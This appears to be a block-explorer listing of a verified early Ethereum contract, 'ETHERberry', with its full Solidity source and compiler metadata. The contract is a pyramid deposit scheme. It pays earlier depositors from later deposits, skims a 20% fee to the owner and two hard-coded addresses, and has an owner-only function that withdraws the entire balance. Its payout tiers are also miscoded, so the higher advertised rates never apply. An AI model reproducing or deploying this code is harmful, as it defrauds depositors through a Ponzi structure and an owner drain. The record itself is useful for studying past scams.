Verified contractPartial
ETHERberry
Address0x9e670cb00951d8b573e77db8a5a3109f1e282237
- Balance
0 ETH
- Transactions
1
- Compiler
solc 0.2.1
- Same code
Only this contract
Details
- Compiler
- solc 0.2.1+commit.91a6b35
- Language
- solidity
- Optimization
- Yes, 200 runs
- License
- Not stated
- Match
- Partialcreation code: yes, runtime code: yes
- Verified on Sourcify
- Created in block
- 6,076,070
- Creation transaction
- 0xd6bd69d534…ca25df5ae0
ETHERberry.sol
/*
etherberry - ethereum strawberry
Ladder deposit based contract with float percentage based on EtheriumPyramidSample on GitHub.
ETHERberry allows to deposit with float multiplier percent of outcome payment
*/
contract ETHERberry
{
struct Payer
{
address ETHaddress;
uint ETHamount;
}
Payer[] public persons;
uint public paymentqueue = 0;
uint public feecounter;
uint amount;
address public owner;
address public ipyh=0x5fD8B8237B6fA8AEDE4fdab7338709094d5c5eA4;
address public hyip=0xfAF7100b413465Ea0eB550d6D6a2A29695A6f218;
address meg=this;
modifier _onlyowner
{
if (msg.sender == owner)
_
}
function ETHERberry()
{
owner = msg.sender;
}
function()
{
enter();
}
function enter()
{
if (msg.sender == owner)
{
UpdatePay();
}
else
{
feecounter+=msg.value/5;
owner.send(feecounter/2);
ipyh.send((feecounter/2)/2);
hyip.send((feecounter/2)/2);
feecounter=0;
if ((msg.value >= (1 ether)/40) && (msg.value <= (1 ether)))
{
amount = msg.value;
uint idx=persons.length;
persons.length+=1;
persons[idx].ETHaddress=msg.sender;
persons[idx].ETHamount=amount;
canPay();
}
else
{
msg.sender.send(msg.value - msg.value/5);
}
}
}
function UpdatePay() _onlyowner
{
msg.sender.send(meg.balance);
}
function canPay() internal
{
uint percent=110; //if tx <0.05 ether - get 110%
if (persons[paymentqueue].ETHamount > (1 ether)/20) //if tx > 0.05 ether - get 115%
{
percent =115;
}
else if (persons[paymentqueue].ETHamount > (1 ether)/10) //if tx > 0.1 ether - get 120%
{
percent = 120;
}
else if (persons[paymentqueue].ETHamount > (1 ether)/5) //if tx >0.2 ether - get 125%
{
percent = 125;
}
else if (persons[paymentqueue].ETHamount > (1 ether)/4) //if tx > 0.25 ether - get 130%
{
percent = 130;
}
else if (persons[paymentqueue].ETHamount > (1 ether)/2) //if tx > 0.5 ether - get 140%
{
percent = 140;
}
else if (persons[paymentqueue].ETHamount > ((1 ether)/2 + (1 ether)/4)) // if tx > 0.75 ether - get 145%
{
percent = 145;
}
while (meg.balance>persons[paymentqueue].ETHamount/100*percent)
{
uint transactionAmount=persons[paymentqueue].ETHamount/100*percent;
persons[paymentqueue].ETHaddress.send(transactionAmount);
paymentqueue+=1;
}
}
}Compiler settingsShow
{
"libraries": {},
"optimizer": {
"runs": 200,
"enabled": true
}
}Source code and metadata: Sourcify.
The source code belongs to the authors of the contract.